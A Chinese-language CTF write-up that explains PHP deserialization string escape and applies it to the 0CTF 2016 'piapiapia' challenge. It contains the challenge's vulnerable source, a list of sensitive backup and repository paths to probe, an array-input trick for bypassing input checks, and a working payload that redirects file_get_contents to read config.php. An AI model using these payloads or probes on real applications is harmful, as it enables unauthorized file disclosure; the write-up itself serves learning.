发现最近自己刷题比较多,但是缺少总结,感觉这样很有可能刷了一堆题结果知识点都没记住,效率太低。于是决定每天少刷题多总结。
今天总结一下php反序列化的一个问题。来源是2016年0CTF的一道题。
0x00 首先看一下什么是反序列化 php反序列化,简言之就是将转换为字节序列的对象数据恢复为对象的过程。具体基础知识不再多讲,具体可以参考我的这篇文章https://su29029.github.io/2020/04/04/php%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%80%BB%E7%BB%93.html
0x01 php反序列化尾部字符串逃逸 我们看下面的代码:
1 2 3 4 5 6 7 8 9 <?php $username = "su29029" ; $password = "12345" ; $user = array ($username, $password); $serial = serialize($user); var_dump($serial); echo "\n" ; var_dump(unserialize($serial)); ?>
执行结果如下:
1 2 3 4 5 6 7 8 string(40) "a:2:{i:0;s:7:" su29029";i:1;s:5:" 12345";}" array(2) { [0]=> string(7) "su29029" [1]=> string(5) "12345" }
反序列化正常返回了一个array对象。如果我们此时在;}
后面再加一些内容,例如:
1 2 3 4 <?php $a = 'a:2:{i:0;s:7:"su29029";i:1;s:5:"12345";}s:5:"admin";s:5:"hhh";}' ; var_dump(unserialize($a)); ?>
执行结果如下:
1 2 3 4 5 6 array (2 ) { [0 ]=> string (7 ) "su29029" [1 ]=> string (5 ) "12345" }
我们发现;}
后面的内容被忽略掉了。php底层在作反序列化的时候会根据;
来判断字段的分割,以}
作为结尾(字符串内的除外),并且会根据长度判断内容。故上面那个例子中}
后的内容被忽略掉了。
如果我们设置了一个非正常长度的字节序列呢?例如我们把上面例子中代表字符串长度的数字改一下,会发生什么呢?
1 2 3 4 <?php $a = 'a:2:{i:0;s:9:"su29029";i:1;s:5:"12345";}s:5:"admin";s:5:"hhh";}' ; var_dump(unserialize($a)); ?>
执行结果:
1 2 PHP Notice: unserialize(): Error at offset 19 of 63 bytes in /home/php/4.php on line 3 bool(false)
我们发现报错了,而且只要标记的字符串长度不等于字符串的真实长度就会报错。
ok,有了以上前置内容,我们来看一个例子,我们需要想办法拿到flag。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 <?php include "flag.php" ;function filter ($string ) { return str_replace('m' ,'aa' ,$string); } $username=$argv[1 ]; $password="12345" ; $user = array ($username, $password); $serial = serialize($user); var_dump($serial); $filt = filter($serial); var_dump($filt); var_dump(unserialize($filt)); $res = unserialize($filt); if ($res[1 ] === "000000" ){ echo $flag; } else { echo "failed." ; } ?>
我们先随便输入一个字符串:
执行结果:
1 2 3 4 5 6 7 8 9 string(40) "a:2:{i:0;s:7:" su29029";i:1;s:5:" 12345";}" string(40) "a:2:{i:0;s:7:" su29029";i:1;s:5:" 12345";}" array(2) { [0]=> string(7) "su29029" [1]=> string(5) "12345" } failed.
我们发现反序列化成功。如果我们输入一个会被替换的字符串则会报错:
执行结果:
1 2 3 4 5 6 7 string(45) "a:2:{i:0;s:11:" su29029mmmm";i:1;s:5:" 12345";}" string(49) "a:2:{i:0;s:11:" su29029aaaaaaaa";i:1;s:5:" 12345";}" PHP Notice: unserialize(): Error at offset 26 of 49 bytes in /home/php/1.php on line 13 bool(false ) PHP Notice: unserialize(): Error at offset 26 of 49 bytes in /home/php/1.php on line 14 PHP Notice: Trying to access array offset on value of type bool in /home/php/1.php on line 15 failed.
我们注意到一个细节,被替换后的是序列化后的字符串,替换后字符串边长,但是字符串长度没有变化,s值依然是11,所以报错了。
我们现在换个输入,发现了一些特殊的结果:
1 php 1.php "su29029mmm\";}"
执行结果有了一些变化:
1 2 3 4 5 6 7 8 9 string(47) "a:2:{i:0;s:13:" su29029mmm";}" ;i:1;s:5:"12345" ;}" string(50) " a:2:{i:0;s:13:"su29029aaaaaa" ;}";i:1;s:5:" 12345";}" PHP Notice: unserialize(): Unexpected end of serialized data in /home/php/1.php on line 13 PHP Notice: unserialize(): Error at offset 30 of 50 bytes in /home/php/1.php on line 13 bool(false ) PHP Notice: unserialize(): Unexpected end of serialized data in /home/php/1.php on line 14 PHP Notice: unserialize(): Error at offset 30 of 50 bytes in /home/php/1.php on line 14 PHP Notice: Trying to access array offset on value of type bool in /home/php/1.php on line 15 failed.
我们发现多了PHP Notice: unserialize(): Unexpected end of serialized data in /home/php/1.php on line 13
,这是为什么呢?我们看替换后的序列化前后的字符串,su29029mmm";}
的长度是13位,而被替换后的字符串su29029aaaaaa
也是13位,后面的";}
将字符串闭合了,导致后面的内容失效,反序列化提前结束,而前面的a:2
却表明数组长度为2,所以提示“非预期的序列化数据结尾”。
那么这个时候我们就可以想一些“歪招”了,我们构造如下payload:
1 php 1. php "su29029mmmmmmmmmmmmmmmmmmmm\";i:1;s:6:\"000000\";}"
我们惊喜的发现成功输出了flag:
1 2 3 4 5 6 7 8 9 string(81) "a:2:{i:0;s:47:"su29029mmmmmmmmmmmmmmmmmmmm";i:1;s:6:"000000";}";i:1;s:5:"12345";}" string(101) "a:2:{i:0;s:47:"su29029aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa";i:1;s:6:"000000";}";i:1;s:5:"12345";}" array(2) { [0]=> string(47) "su29029aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" [1]=> string(6) "000000" } flag{123456}
根据上一个输入,我们发现原理相同,通过";}
闭合序列化字符串,并且巧妙利用替换操作使得替换后的"
前的字符串长度刚好等于替换前的全部字符串长度,从而成功的让password
变成了000000
。
0x02 [0CTF 2016]piapiapia 解题思路 首先拿道题是个登录界面,随意输入一下发现无果,f12发现也没有提示,故尝试一些敏感文件。后来发现存在源码泄露www.zip
。
这里简单总结一些敏感目录,拿到题发现没有提示的时候可以尝试访问一下,说不定有意外收获。
/www.zip /html.zip /.git/ /.svn/ /.index.php.swp /index.php.bak /robots.txt /index.phps……
当然还有一些不常见的,一般都会给提示[只是一般…这个不好说]
拿到www.zip
发现了5个文件,逐一查看:
index.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 <?php require_once('class.php'); if($_SESSION['username']) { header('Location: profile.php'); exit; } if($_POST['username'] && $_POST['password']) { $username = $_POST['username']; $password = $_POST['password']; if(strlen($username) < 3 or strlen($username) > 16) die('Invalid user name'); if(strlen($password) < 3 or strlen($password) > 16) die('Invalid password'); if($user->login($username, $password)) { $_SESSION['username'] = $username; header('Location: profile.php'); exit; } else { die('Invalid user name or password'); } } else { ?> <html> ......[省略html代码] </html> <?php } ?>
class.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 <?php require ('config.php' );class user extends mysql { private $table = 'users' ; public function is_exists ($username ) { $username = parent ::filter($username); $where = "username = '$username'" ; return parent ::select($this ->table, $where); } public function register ($username, $password ) { $username = parent ::filter($username); $password = parent ::filter($password); $key_list = Array ('username' , 'password' ); $value_list = Array ($username, md5($password)); return parent ::insert($this ->table, $key_list, $value_list); } public function login ($username, $password ) { $username = parent ::filter($username); $password = parent ::filter($password); $where = "username = '$username'" ; $object = parent ::select($this ->table, $where); if ($object && $object->password === md5($password)) { return true ; } else { return false ; } } public function show_profile ($username ) { $username = parent ::filter($username); $where = "username = '$username'" ; $object = parent ::select($this ->table, $where); return $object->profile; } public function update_profile ($username, $new_profile ) { $username = parent ::filter($username); $new_profile = parent ::filter($new_profile); $where = "username = '$username'" ; return parent ::update($this ->table, 'profile' , $new_profile, $where); } public function __tostring ( ) { return __class__ ; } } class mysql { private $link = null ; public function connect ($config ) { $this ->link = mysql_connect( $config['hostname' ], $config['username' ], $config['password' ] ); mysql_select_db($config['database' ]); mysql_query("SET sql_mode='strict_all_tables'" ); return $this ->link; } public function select ($table, $where, $ret = '*' ) { $sql = "SELECT $ret FROM $table WHERE $where" ; $result = mysql_query($sql, $this ->link); return mysql_fetch_object($result); } public function insert ($table, $key_list, $value_list ) { $key = implode(',' , $key_list); $value = '\'' . implode('\',\'' , $value_list) . '\'' ; $sql = "INSERT INTO $table ($key) VALUES ($value)" ; return mysql_query($sql); } public function update ($table, $key, $value, $where ) { $sql = "UPDATE $table SET $key = '$value' WHERE $where" ; return mysql_query($sql); } public function filter ($string ) { $escape = array ('\'' , '\\\\' ); $escape = '/' . implode('|' , $escape) . '/' ; $string = preg_replace($escape, '_' , $string); $safe = array ('select' , 'insert' , 'update' , 'delete' , 'where' ); $safe = '/' . implode('|' , $safe) . '/i' ; return preg_replace($safe, 'hacker' , $string); } public function __tostring ( ) { return __class__ ; } } session_start(); $user = new user(); $user->connect($config);
register.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 <?php require_once('class.php'); if($_POST['username'] && $_POST['password']) { $username = $_POST['username']; $password = $_POST['password']; if(strlen($username) < 3 or strlen($username) > 16) die('Invalid user name'); if(strlen($password) < 3 or strlen($password) > 16) die('Invalid password'); if(!$user->is_exists($username)) { $user->register($username, $password); echo 'Register OK!<a href="index.php">Please Login</a>'; } else { die('User name Already Exists'); } } else { ?> <html> ......[省略html代码] </html> <?php } ?>
update.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 <?php require_once('class.php'); if($_SESSION['username'] == null) { die('Login First'); } if($_POST['phone'] && $_POST['email'] && $_POST['nickname'] && $_FILES['photo']) { $username = $_SESSION['username']; if(!preg_match('/^\d{11}$/', $_POST['phone'])) die('Invalid phone'); if(!preg_match('/^[_a-zA-Z0-9]{1,10}@[_a-zA-Z0-9]{1,10}\.[_a-zA-Z0-9]{1,10}$/', $_POST['email'])) die('Invalid email'); if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10) die('Invalid nickname'); $file = $_FILES['photo']; if($file['size'] < 5 or $file['size'] > 1000000) die('Photo size error'); move_uploaded_file($file['tmp_name'], 'upload/' . md5($file['name'])); $profile['phone'] = $_POST['phone']; $profile['email'] = $_POST['email']; $profile['nickname'] = $_POST['nickname']; $profile['photo'] = 'upload/' . md5($file['name']); $user->update_profile($username, serialize($profile)); echo 'Update Profile Success!<a href="profile.php">Your Profile</a>'; } else { ?> <html> ......[省略html代码] </html> <?php } ?>
profile.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 <?php require_once('class.php'); if($_SESSION['username'] == null) { die('Login First'); } $username = $_SESSION['username']; $profile=$user->show_profile($username); if($profile == null) { header('Location: update.php'); } else { $profile = unserialize($profile); $phone = $profile['phone']; $email = $profile['email']; $nickname = $profile['nickname']; $photo = base64_encode(file_get_contents($profile['photo'])); ?> <html> ......[省略html代码] </html> <?php } ?>
config.php
1 2 3 4 5 6 7 8 <?php $config['hostname' ] = '127.0.0.1' ; $config['username' ] = 'root' ; $config['password' ] = '' ; $config['database' ] = '' ; $flag = '' ; ?>
发现config.php
中有我们想要的flag.发现网页还有个注册接口,随便注册一个账号登陆上去,随后发现一个文件上传接口,这里可以首先考虑到上传一个木马,不过发现尽管没有过滤,而且我们也知道上传目录,但是因为文件名被md5加密,故无法使用蚁剑连接。
这个时候仔细审计一下代码,发现profile.php中有一个file_get_contents
函数,同时发现了序列化和反序列化,序列化内容可控,这个时候可以考虑通过反序列化将$profile
中的photo
属性改变为config.php
。
这个时候目标明确了,仔细审计update.php
代码,发现有几个过滤,先是对输入的内容格式进行正则匹配,随后将输入的前三项内容和第四项内容的上传路径进行序列化,随后传给update_profile
函数进行处理,跟进update_profile
发现对$username
和$profile
进行过滤,跟进filter
函数发现会将'
和\\
替换成_
,并将'select' 'insert' 'update' 'delete' 'where'
替换为'hacker'
。这个时候我们发现了重点:filter
函数会将where
替换成hacker
,替换后字符串的长度发生了改变,而序列化字符串中字符串长度未改变,这个时候我们就可以通过反序列化字符串逃逸来实现将file_get_contents
中的内容替换为config.php
。
但是我们需要先绕过第一个正则匹配,这个时候我们需要一个前置知识:
1 2 3 4 5 6 7 md5(Array ()) = null sha1(Array ()) = null ereg(pattern,Array ()) = null preg_match(pattern,Array ()) = false strcmp(Array (),"some_string" ) = null strpos(Array (),"some_string" ) = null strlen(Array ()) = null
所以我们只需要将nickname
替换成数组即可。
我们构造如下payload:
1 nickname[]=wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}
解释一下这个payload的构造原理,nickname[]
被反序列化之后会变成a:1:{i:0;s:204:"...";}
,所以where
后面的";}
用来闭合被替换后的序列化字符串中的第三个数组部分,同时由于";}s:5:"photo";s:10:"config.php";}
长度为34,我们需要将这34个字符挤出profile数组的第三位(我们为了绕过正则而构造的数组位),所以利用filter中where替换成hacker会多出1位,构造34个where,从而反序列化时成功将第三位闭合。
最终执行效果:
成功获得flag。
0x03 总结 web是个无底洞..知识点太多太杂了,所以还是要多总结,这样学习效率才高。还是太菜了,慢慢加油叭。